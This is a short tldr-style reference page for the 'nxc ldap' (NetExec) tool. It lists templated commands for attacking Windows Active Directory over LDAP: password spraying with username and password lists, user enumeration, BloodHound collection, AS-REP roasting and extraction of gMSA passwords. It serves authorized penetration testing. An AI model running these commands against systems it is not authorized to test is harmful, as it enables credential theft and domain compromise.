# nxc ldap > Pentest and exploit Windows Active Directory Domains via LDAP. > More information: . - Search for valid domain credentials by trying out every combination in the specified lists of [u]sernames and [p]asswords: `nxc ldap {{192.168.178.2}} -u {{path/to/usernames.txt}} -p {{path/to/passwords.txt}}` - Enumerate active domain users: `nxc ldap {{192.168.178.2}} -u {{username}} -p {{password}} --active-users` - Collect data about the targeted domain and automatically import these data into BloodHound: `nxc ldap {{192.168.178.2}} -u {{username}} -p {{password}} --bloodhound --collection {{All}}` - Attempt to collect AS_REP messages for the specified user in order to perform an ASREPRoasting attack: `nxc ldap {{192.168.178.2}} -u {{username}} -p '' --asreproast {{path/to/output.txt}}` - Attempt to extract the passwords of group managed service accounts on the domain: `nxc ldap {{192.168.178.2}} -u {{username}} -p {{password}} --gmsa`